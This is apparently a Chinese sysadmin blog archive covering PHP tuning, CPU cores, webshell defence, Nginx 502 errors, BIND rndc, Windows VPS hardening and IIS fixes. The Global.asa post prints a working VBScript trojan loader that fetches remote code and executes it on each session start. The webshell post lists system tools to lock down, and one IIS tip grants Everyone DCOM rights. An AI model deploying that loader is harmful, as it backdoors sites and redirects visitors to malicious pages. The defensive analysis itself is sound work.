作者归档:SK

关于SK

服务器维护 服务器配置 服务器 维护 运维 网管 系统调优 网络调优 数据库优化

PHP站点性能优化方法总结

一、代码优化,我自己认为“代码优化”分两种,一种是从代码质量上提高,一种是通过优化引擎来对网站代码进行优化,

1、代码质量上,尽量避免代码冗余,

(1)不在循环中对数据库进行select操作、
(2)在程序开头文件包含代码中尽量使用require_once()或require() ,在流程控制区段的文件包含使用include_once()或include(),包含文件时要使用完整路径,解析操作系统路径所需时间就会变少
(3)在执行for循环之前要事先确定最大循环数,不要每循环一次都计算最大值
(4)随时注销那些不使用的变量,尤其是大数组,以便释放内存
(5)使用分支语句(switch,case)好过使用多个if,elseif语句
(6)用单引号来代替多引号包含字符串执行效率更快一些,因为单引号不需要解析变量
(7)避免使用select * from mytable这样的句子 继续阅读

CPU主频和内核数量及性能关系

上周打电话咨询dell售后关于R720服务器CPU内核数量和主频之间的关系的一个问题,和售后磨叽了2个多小时后售后工程师一直也没有给出一个令人信服的答案,笔者只好通过查阅相关资料以及和同事讨论后有了个清晰的答案。现将该问题整理了一下分享出来,以供大家学习和参考。

疑惑1:服务器的主频怎么计算?单颗主频*内核数量吗?

疑惑2:服务器cpu的性能依赖于cpu的主频?

疑惑3:多核处理出现的原因?

疑惑4:多核处理器的优势在哪里?

疑惑5:多核处理器带来的挑战是什么?

疑惑6:如何发挥多核服务器应有的性能?

首先对于问题服务器的主频怎么计算?单颗主频*内核数量吗?

服务器cpu的主频和内核的数量是没有关系的,也就是说如果你的cpu的一个线程(一个core)的主频是2GHZ的话那么你的服务器的主频就是2GHZ

对于问题服务器cpu的性能依赖于cpu的主频?

cpu的性能依赖于CPU的主频吗?非也,主频只是其中一个比较重要的参考依据而已,其中还有其他重要的参数指标决定了cpu的性能。

其中CPU的性能由主频、管线架构或长度、功能单元数目、缓存设计四个方面决定,我扪常将管线架构或长度、功能单元数目、缓存设计这三个方面统称为CPU的架构,也就是说CPU的性能由CPU的主频和CPU的架构这两个方面来综合决定。

从以往CPU发展历史来看,CPU频率的增长带来的是性能上量的增长,而架构的改变往往带来其性能上质的飞跃,所以相对而言同样的架构,主频高低不同,CPU处理能力才有可比较性;而不同架构的CPU之间性能的差别就可能给人们带来完全不同的体验了。也正是CPU架构方面的原应才造成了很多同频的AthlonXPP4处理器更快这一现实。

所以只有在同一家族的CPU中进行比较,核心数量、主频与CPU的运行速度才有正比关系,还有影响的因素是23级缓存的大小。核心版本和工艺的升级也有影响。一般在同一家族的CPU中,核心越多、主频越高、缓存越多、版本越新的CPU越快。

疑惑3:为什么会出现多核处理器呢?

多核技术的开发源于工程师们认识到,仅仅提高单核芯片的速度会产生过多热量且无法带来相应的性能改善,先前的处理器产品就是如此。他们认识到,在先前产品中以那种速率,处理器产生的热量很快会超过太阳表面。即便是没有热量问题,其性价比也令人难以接受,速度稍快的处理器价格要高很多。

CPU从诞生之日起,主频就在不断的提高,如今主频之路已经走到了拐点。面对主频之路走到尽头,IntelAMD开始寻找其它方式用以在提升能力的同时保持住或者提升处理器的能效,而最具实际意义的方式是增加CPU内处理核心的数量。

英特尔工程师们开发了多核芯片,使之满足横向扩展(而非纵向扩充)方法,从而提高性能。

对于疑惑4:多核处理器的优势有哪些?

该架构实现了分治法战略。通过划分任务,线程应用能够充分利用多个执行内核,并可在特定的时间内执行更多任务。多核处理器是单枚芯片(也称为硅核),能够直接插入单一的处理器插槽中,但操作系统会利用所有相关的资源,将它的每个执行内核作为分立的逻辑处理器。

通过在多个执行内核之间划分任务,多核处理器可在特定的时钟周期内执行更多任务。多核架构能够使目前的软件更出色地运行,并创建一个促进未来的软件编写更趋完善的架构。尽管认真的软件厂商还在探索全新的软件并发处理模式,但是,随着向多核处理器的移植,现有软件无需被修改就可支持多核平台。操作系统专为充分利用多个处理器而设计,且无需修改就可运行。为了充分利用多核技术,应用开发人员需要在程序设计中融入更多思路,但设计流程与目前对称多处理(SMP) 系统的设计流程相同,并且现有的单线程应用也将继续运行。现在,得益于线程技术的应用在多核处理器上运行时将显示出卓越的性能可扩充性。

疑惑5:多核处理器带来的挑战又是什么?

挑战一:与单核处理器相比,多核处理器在体系结构、软件、功耗和安全性设计等方面面临着巨大的挑战。

挑战二:许多历史程序没有采用并行编程,例如一些文件压缩软件、部分游戏软件等等。对于这些单线程的程序,单独运行在多核处理器上与单独运行在同样参数的单核处理器上没有明显的差别。这样会导致服务器资源的闲置和浪费从而无法发挥服务器性能。

疑惑6:如何更好的发挥多核服务器的性能?

1)程序采用线程级并行编程,那么这个程序在运行时可以把并行的线程同时交付给多个核心分别处理,因而程序运行速度得到极大提高。这类程序有的是为多路工作站或服务器设计的专业程序,例如专业图像处理程序、非线视频编缉程序、动画制作程序或科学计算程序等。

2)日常应用中的另一种模式是同时运行多个程序。许多程序没有采用并行编程,例如一些文件压缩软件、部分游戏软件等等。对于这些单线程的程序,单独运行在多核处理器上与单独运行在同样参数的单核处理器上没有明显的差别。但是,由于日常使用的最最基本的程序——操作系统——是支持并行处理的,所以,当在多核处理器上同时运行多个单线程程序的时候,操作系统会把多个程序的指令分别发送给多个核心,从而使得同时完成多个程序的速度大大加快。

Webshell攻击的应该对措施

一、什么是webshell?

基于b/s架构的软件部署在Internet上,那么安全性是必须要关注的,攻击者可以采用各种方式进行攻击,获取系统的控制权,其中webshell是常见的攻击方式。
Webshell是攻击者在被攻击网站上植入的asp、php、jsp程序文件,攻击者在入侵了一个web系统后,常常在将这些asp、php、jsp木马后门文件放置在web服务器的web目录中,与正常的网站文件混在一起。然后攻击者就可以通过正常的web访问方式,访问其植入asp、php、jsp程序木马后门控制web服务器,包括创建、修改、删除文件,上传下载文件,查看数据库,执行任意程序命令等。
webshell攻击应用于所有基于b/s结构的系统,包括网站、OA(www.chysoft.net)、CRM、ERP等等。

二、Webshell攻击的应该对措施
了解了webshell的基本原理之后,最关键的防止器植入asp、php、jsp等木马程序文件,使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。我们一般可以从以下几方面对安全性进行处理:
1、Web软件开发的安全
A、程序中存在文件上载的漏洞,攻击者利用漏洞上载木马程序文件。
B、防sql注入、防暴库、防COOKIES欺骗、防跨站脚本攻击。
2、服务器的安全和web服务器的安全
A、服务器做好各项安全设置,病毒和木马检测软件的安装(注:webshell的木马程序不能被该类软件检测到),启动防火墙并关闭不需要的端口和服务。
B、提升web服务器的安全设置
C、对以下命令进行权限控制(以windows为例):
cmd.exe net.exe net1.exe ping.exe netstat.exe ftp.exe tftp.exe telnet.exe
3、ftp文件上载安全
设置好ftp服务器,防止攻击者直接使用ftp上传木马程序文件到web程序的目录中
4、文件系统的存储权限
设置好web程序目录及系统其它目录的权限,相关目录的写权限只赋予给超级用户,部分目录写权限赋予给系统用户。
5、不要使用超级用户运行web服务
对于apache、tomcat等web服务器,安装后要以系统用户或指定权限的用户运行,如果系统中被植入了asp、php、jsp等木马程序文件,以超级用户身份运行,webshell提权后获得超级用户的权限进而控制整个系统和计算机。

Global.asa 网站木马的解决办法

最近在查看网站流量统计的时候发现流量有些异常,于是检查网站程序的时候发现程序多出了一个文件。文件名是Global.asa,上传时间为9月13日晚上,我的网站使用的是开源的企业建站系统,一开始没注意过这个问题,就在昨天我的网站流量一下子跌倒了低谷,当时我就怀疑是网站程序出现了问题,但是就是找不出毛病来。后来经常访问网站的客户打电话告诉我说:“从百度打开你的网站会自动跳转到某些色情网站上,并且会被360提示有木马病毒。”于是在网上搜索了一些解决Global.asa木马的方法,下面就给大家说下我的解决方法。
什么是global.asa木马呢?
global.asa在百度百科里是这样介绍的:
Global.asa 文件是一个可选的文件,它可包含可被ASP 应用程序中每个页面访问的对象、变量以及方法的声明。所有合法的浏览器脚本都能在Global.asa 中使用。 Global.asa 中,我们可以告知application 和session 对象在启动和结束时做什么事情。完成此项任务的代码被放置在事件操作器中。
根据上面的介绍大家应该大体了解了,其实这个木马就是属于网站程序木马,也称:脚本木马。 但是黑客为什么会以global.asa命名呢?因为这个文件可以调用很多程序,比如当客户访问你的网站的时候,可以调用跳转的命令。正因为global.asa文件作用的特殊性,所以被黑客所利用,并制作成了网站木马。
首先我们来看下global.asa木马的代码:
sub Session_OnStart

On Error Resume Next

url=”http://upload.chinaz.com//”

Set ObjXMLHTTP=Server.CreateObject(“MSXML2.serverXMLHTTP”)

ObjXMLHTTP.Open “GET”,url,False

ObjXMLHTTP.setRequestHeader “User-Agent”,url

ObjXMLHTTP.send

GetHtml=ObjXMLHTTP.responseBody

Set ObjXMLHTTP=Nothing

set objStream = Server.CreateObject(“Adodb.Stream”)

objStream.Type = 1

objStream.Mode =3

objStream.Open

objStream.Write GetHtml

objStream.Position = 0

objStream.Type = 2

objStream.Charset = “gb2312″

GetHtml = objStream.ReadText

objStream.Close

set objStream=Nothing

if instr(GetHtml,”by*aming”)>0 then

execute GetHtml

end if

end sub

sub Session_OnEnd

end sub

我来给大家先解释一下这个代码的作用:因为global.asa 文件是网站启动的文件,当一个网站被用户访问的时候,会执行Application_Start代码段的内容,当一个当一个用户第一次访问时会执行Session_Start代码段的内容,所以此段代码的作用就是当访问的时候自动下载获取木马内容,上面遇到的就是跳转性作用的木马代码。
global.asa挂马的症状
global.asa文件是隐藏性的你在FTP都看不到的,用了sinesafe网站木马检测工具检测到了了隐藏global.asa的木马,当用户从百度点击进来的时候,网站的会自动跳转到其他网站:比如色情站点和有病毒的网站。再就是百度site:自己的网站会发现收录了许多色情页面。
如果站长们发现自己的站点也有上述的症状,那恭喜你了。
怎么解决删除global.asa木马呢?
global.asa这个文件一般是在根目录下的,我自己尝试了N多遍,都没有删掉,在文件属性方面也做了修改,也始终无法删除这个顽固的木马。到最后找了sine安全,他们用CHMOD命令删除了木马。如果自己不会删除的话你可以找自己的空间商让他们给你删除这个木马。
global.asa属于系统文件只能在cmd命令下强制删除。
到最后还要告诉大家一点是,为什么网站会被挂global.asa木马呢?其实根本的原因就是网站程序有漏洞,因为网站有漏洞才会被黑客利用并提权拿下了你网站的权限并上传制作了木马。只有把网站的安全做好了,你才不会被挂马的。在这里大家一定不要小看了网站的安全,往下安全尤其重要,牵扯着我们站长的心,网站不安全,百度就会拔毛,自己辛辛苦苦的网站就这么被毁,你也不甘心,只有网站安全了,才能带来稳定的客户来源,安全问题不可忽视。给用户一个安全稳定的网站平台,当然给你带来的则是最大的营销收益。

Nginx+PHP 502错误

解决Nginx+PHP(FastCGI)遇到的502 Bad Gateway错误

  最近几天发现个别服务器出现流量不稳定的情况,具体的表现是,流量时而高,时而低,在流量低的时候发现系统的负载很小,几乎为0,但是过一会,负载又高上去,流量也上去,很是奇怪,查找了2天没有找到原因,后来看到一边文章,介绍了解决nginx出现502的错误现象,按照这个方法进行尝试,最终还是找到了问题的原因。

解决步骤如下:

1、查看当前的PHP FastCGI进程数是否够用:

netstat -anpo | grep “php-cgi” | wc -l

如果实际使用的“FastCGI进程数”接近预设的“FastCGI进程数”,那么,说明“FastCGI进程数”不够用,需要增大。

2、部分PHP程序的执行时间超过了Nginx的等待时间,可以适当增加nginx.conf配置文件中FastCGI的timeout时间,例如:

……
http
{
……
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
……
}
……

在做第一步的时候,系统当前的PHP FastCGI进程数明显超过了预设值的64这个数值,在电信的服务器上查看当前的PHP FastCGI进程数没有高于64这个数值,而且网通线路的活动连接明显高于电信的活动连接,准备到晚上的时候看看情况,结果到晚上22:30的时候,查看系统当前的PHP FastCGI进程数明显小于64预设值,当前的活动连接也比原来低很多,由此可以说明出现nginx不稳定的情况是由于服务器访问负载过大引起的,就是加上第二步的错误也不顶作用。

总结,php-cgi进程数不够用、php执行时间长、或者是php-cgi进程死掉,都会出现502错误。

502的解决方法

现象:
经过对php-fpm进程数的调整,从4一直到200,对于claroline来说,最优的结果是CPU数x2,多了或少了,都影响性能。
在用ab进行测试的时候,不论哪种情况,只要超过cpux2的时候,top中都会出现大量的lockf,性能便会下降。
但是无论怎么调整php-fpm和nginx的参数,并发超过200的时候,ab就会报length错误,并且是大量的错误。同时在nginx-error.log中,出现大量的“Connection reset by peer”(如果是socket的话,会出现“unix:/tmp/php.socket failed (61: Connection refused)”)。
并发数不超过200没有错误,250并发的时候,>64个php-fpm进程没错误;300并发需要128以上的进程数,并且每秒的页面数只能是最大值的1/4-1/5左右。
四核机器,php进程为8的时候,没有错误,也没有lockf,index的数目大约是220,为12的时候就成为170,16就成了120,48大约70,64大约50,128以上大约35。
网上说的方法,基本上都用遍了,仍然不能解决。

原因(只是自已猜测,没查到权威的解释):
nginx发起的连接数,远远超过了php-fpm所能处理的数目,导致端口(或socket)频繁被锁,造成堵塞。

解决思路:

把php-fpm分为两部分,每部分各听一个端口或socket,这样就减少了lock

方案:
1、fpm2的调整(FreeBSD下)
(1)复制php-fpm.conf为php-fpm2.conf,并修改占用的端口(socket)
(2)复制rc.d/php-fpm为rc.d/php-fpm2,进行修改,把所有的fpm都替换为fpm2,并添加:

  1. start_precmd=”${name}_prestart”
  2. php_fpm2_prestart()
  3. {
  4.         rc_flags=”-y /usr/local/etc/php-fpm2.conf”
  5. }

2、nginx的调整:

  1. upstream backend{
  2.    server 127.0.0.1:9000;
  3.    server 127.0.0.1:9002;
  4.   }
  5. server {
  6.           listen 80;
  7.           server_name a.b.cd.com;
  8.           charset utf-8;
  9.           location / {
  10.                   index index.php index.htm;
  11.                   root /var/www;
  12.               }
  13.           location ~ \.php$ {
  14.               root /var/www;
  15.               sendfile on;
  16.                fastcgi_pass backend
  17.   ……
  18.             }
  19. }

3、用socket的优化:
用md系统,要比普通文件系统快很多。

善后?
Session会不会遇到麻烦?

DNS服务器维护命令

检查named.conf文件语法:
named-checkconf [filename]
检查区域配置文件语法:
named-checkzone  zone [filename]

rndc   远程名称服务控制
用法:
rndc [ -c config ] [ -s server ] [ -p port ] [ -y key ] command [ command... ...]
-c config 
使用config-file 作为缺省的配置文件/etc/rndc.conf 的替代
-s server 
server是与 rndc 的配置文件中 server语句匹配的服务器的名字或地址。如果命令行没有提供服务器,会使用 rndc 配置文件中 options 语句中的 default-server子句所命名的主机。
-p port
发送命令到 TCP端口 port,以取代 BIND 9 的缺省控制通道端口 953
-y key
使用配置文件中的密钥 key_id。key_id 必须被 named 所知道,带有同样的算法和秘密字符串,以便成功通过控制消息的验证。如果没有指定,rndc 将首先在所用的服务器的 server 语句中查找 key 子句,或者如果没有为主机提供 server 语句,就查找options 语句中的 default-key子句。注意配置文件中包含有用于发送认证控制命令到名字服务器的共享秘密。因此它不应该是对所有用户可读性的。

command命令如下:

reload
重新载入配置文件和区文件

用法:
rndc reload

reload zone [class [view]]

重新载入指定的区文件

refresh zone [class [view]]

对指定的区进行维护

retransfer zone 
重新从主服务器传送指定的区文件

freeze [zone[class[view]]]  

冻结一个动态更新区的更新.如果没有指定的区,那么就冻结所有区的动态更新.这就允许对一个动态更新的区进行手工编辑.它也会导致日志文件中的变化被同步到主服务器,然后删除日志文件.在区被冻结时,所有的动态更新尝试都会拒绝.

thaw [zone[class[view]]]
解冻一个被冻结的动态更新区.它会导致服务器重新新从新载入区,并打开动态更新功能.

notify zone [class[view]]
重新发出去的notify消息

reconfig
重新载入配置文件和新的区,但不载入已经存在的区域文件,即使其已经被更改过.

stats
写服务器的统计信息到统计文件

querylog

触发请求日志

dumpdb [-all|-cache|-zone] [view ...]

转储服务器指定视图的缓存和/或区到转储文件中.如未指定,将转储所有视图.

stop [-p]

停止服务器.停止服务器之前,会将由动态更新或IXFR所做的最新修改第一时间被存入被修改区的区文件中.如果指定-p,会返回named的进程号.这样可以通过其它命令来查询服务是否停止.

halt [-p]
立即停止服务器,与stop不同的是,由动态更新或IXFR所做的最新修改没有被保存在区文件中.但是重新启动服务器时,将从日志文件向前滚动.

trace
将服务器的调试级别增加1

trace level 

指定服务器的调试级别

notrace
将调试级别设置为0

flush
刷新服务器的缓存

flushname 
name
刷新指定名称的缓存

status

显示服务器的状态

recursing
转储刷新服务器的缓存

validation [on|off] [view ...]
打开或关闭DNSSEC验证.注意dnssec-enable也需要设置成yes才会生效,缺省为打开.
这需要一个配置文件,由于所有与服务器的通信都使用依赖共享密钥的数字签名来认证,并且没有其它方式可以比配置文件提供更好的保密方式.rndc配置文件的缺省路径是/etc/rndc.conf,但也可以使用-c参数来指定一个其它路径.如果rndc没有找到配置文件,它将会查找/etc/rndc.conf(或者是BIND构建时由sysconfdir所定义的其它目录).rndc.key文件是由rndc-congen -a所生成的.

windows主机安全加固的一些方法(vps)

vps主机的安全设置至关重要,下面详细介绍了一台vps服务器的安全设置方法:

禁止默认共享
方法一:
建立一个记事本,填上以下代码。保存为*.bat并加到启动项目中
net share c$ /del
net share d$ /del
net share e$ /del
net share f$ /del
net share ipc$ /del
net share admin$ /del
方法二:修改注册表,(注意修改注册表前一定要先备份一下注册表,备份方法。在 运行>regedit,选择 文件》导出 ,取个文件名,导出即可,如果修改注册表失败,可以找到导出的注册表文件双击运行即可。)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
新建 “DWORD值”值名为 “AutoShareServer” 数据值为“0” 继续阅读

tcp_nodelay的差别

Apache HTTPD是因特网上最流行的Web服务器,它的所有套接字就都设置了TCP_NODELAY选项,而且其性能也深受大多数用户的满意。这是为什么呢?答案就在于实现的差别之上。由BSD衍生的TCP/IP协议栈(值得注意的是FreeBSD)在这种状况下的操作就不同。当在TCP_NODELAY 模式下提交大量小数据块传输时,大量信息将按照一次write()函数调用发送一块数据的方式发送出去。然而,因为负责请求交付确认的记数器是面向字节而非面向包(在Linux上)的,所以引入延迟的概率就降低了很多。结果仅仅和全部数据的大小有关系。而 Linux 在第一包到达之后就要求确认,FreeBSD则在进行如此操作之前会等待好几百个包。

在Linux系统上,TCP_NODELAY的效果同习惯于BSD TCP/IP协议栈的开发者所期望的效果有很大不同,而且在Linux上的Apache性能表现也会更差些。其他在Linux上频繁采用TCP_NODELAY的应用程序也有同样的问题。

win2003 64位上iis的一些问题

IIS6 ADODB.Connection 错误 ’800a0ea9′Service Unavailable

DODB.Connection 错误 ’800a0ea9′

未指定提供程序,也没有指派的默认提供程序。

/Office_Manage/ConnDB.asp,行 8

64位 Windows IIS 运行32bit程序,不完全兼容就出现:
“Windows 64 bit ADODB.Connection 错误 ’800a0ea9′ 未指定提供程序”

解决方法:进CMD命令窗口:依次运行:
1. cd /d %systemdrive%/Inetpub/AdminScripts
2. cscript.exe adsutil.vbs set W3SVC/AppPools/Enable32BitAppOnWin64 “true”
Service Unavailable

C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/aspnet_regiis.exe -i
我也碰到过这个问题。
1.先试一下楼上说的方法
点击“开始”-“控制面板”-“管理工具”-“组件服务”-“计算机”-“我的电脑”-“DCOM”选项,
选择其下的“IIS ADMIN SERVICE”,右健选择“属性”,找到“安全”,在“启动和激活权限”中编辑“自定义”,添加帐号“NETWORK SERVICE ”,【我后来还补充添加了everyone】
给该帐号赋予“本地启动”和“本地激活”的权限,重新启动IIS(点“开始”-“运行”-“CMD”,点确定,然后运行IISRESET)
2.重新打SP2补丁(我认为是最后一招了),我以前部署时也遇到这个问题,后来就是重打补丁解决的。
3.祝你好运!